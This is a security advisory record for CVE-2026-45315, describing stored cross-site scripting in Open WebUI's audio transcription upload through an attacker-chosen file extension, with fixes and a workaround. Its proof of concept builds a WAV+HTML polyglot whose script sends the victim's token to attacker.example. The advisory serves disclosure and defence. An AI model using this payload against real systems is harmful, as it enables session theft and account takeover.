CVE-2026-45315: Open webui Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m8f9-9whg-f4xr",
  "modified" : "2026-05-19T16:02:01Z",
  "published" : "2026-05-14T20:17:58Z",
  "aliases" : [ "CVE-2026-45315" ],
  "summary" : "Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions",
  "details" : "## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b'\\x80' * 44100                                                                                                                                   \n  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',\n          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                \n          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b'data', len(data)) + data                                                                                                                       \n  payload = wav + b'<script>alert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)</script>'\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        \n      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 \n      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()['filename']      # '<uuid>.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: <= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45315"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434", "CWE-646", "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:17:58Z",
    "nvd_published_at" : "2026-05-15T22:16:54Z"
  }
}